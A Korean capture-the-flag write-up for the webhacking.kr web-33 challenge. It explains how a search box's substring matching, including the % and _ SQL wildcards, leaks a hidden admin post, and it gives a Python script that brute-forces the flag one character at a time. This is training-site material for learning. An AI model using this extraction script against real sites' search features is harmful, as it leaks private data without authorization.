문제분석 & 풀이
테이블이 등장한다.
readme를 눌러보면, access denied가 나온다.
아마도 admin의 subject를 구하는 것이 문제인 것 같다.
이번에는 hi~를 눌러보니 hello~라고 뜬다.
다시 돌아가서 메인페이지에는 검색창이 있다.
admin, guest 라고 검색해봤지만 아무것도 뜨지 않는다.
"hi~" 게시글의 내용이었던 "hello~"를 검색해보니 guest의 레코드가 결과로 나온다.
검색창은 게시글 내용이 포함된 경우에 레코드가 결과로 출력되는 것 같다.
이번에는 h라고 검색했고 2개의 레코드가 나온다.
readme, hi~ 모두 h가 들어가는 것 같다.
그렇다면 이 특징을 이용해서 readme의 내용으로 무슨 문자가 들어가있는지 검색해볼 수 있다.
코드를 작성하고 모든 문자들을 대상으로 검색을 진행했다.
하나씩 검색해보면, [그림]의 문자들이 readme의 내용을 구성하는 문자라는 것을 알 수 있다.
그러나 문제는 어떤 문자가 readme의 시작인지 알 수 없다. 따라서 시작 문자가 무엇인지 알아내야한다.
알아낸 문자들을 다시 한 번 자세히 보면 F , L , A , G , { , } 가 모두 있는 것을 알 수 있다.
그렇다면, readme는 FLAG{ 로 시작할 것이므로 1자리씩 게싱해서 알아내면 된다.
값을 구해보면 이런 형태로 %만 출력된다..
왜 이런 결과가 나온건지 알아보니 SQL에서는 % , _ 가 와일드카드 문자로 어떤 문자와 비교해도 참으로 출력되는 문자라고한다.
테스트로 %%%%를 검색해보니, 2개의 레코드가 모두 출력된다. ( _도 마찬가지였다.)
from requests import *
result = ''
count = 0
for i in range(30, 128):
url = f'https://webhacking.kr/challenge/web-33/index.php'
data = {'search':chr(i)}
response = post(url=url,data=data)
if response.text.find('admin') != -1:
result += f'{chr(i)} '
print('readme에 들어가는 값 :',result)
result = 'FLAG{'
tmp = ''
arr = '0?acdefghiklmnostuy{}_'
for i in range(50):
if count > 22:
break
for j in range(0, len(arr)):
tmp = result + arr[j]
url = f'https://webhacking.kr/challenge/web-33/index.php'
data = {'search':tmp}
response = post(url=url,data=data)
count += 1
if response.text.find('admin') != -1:
result = tmp
count = 0
break
print('readme :',result)
%와 _는 제외하고 다시 readme의 내용을 구해보자.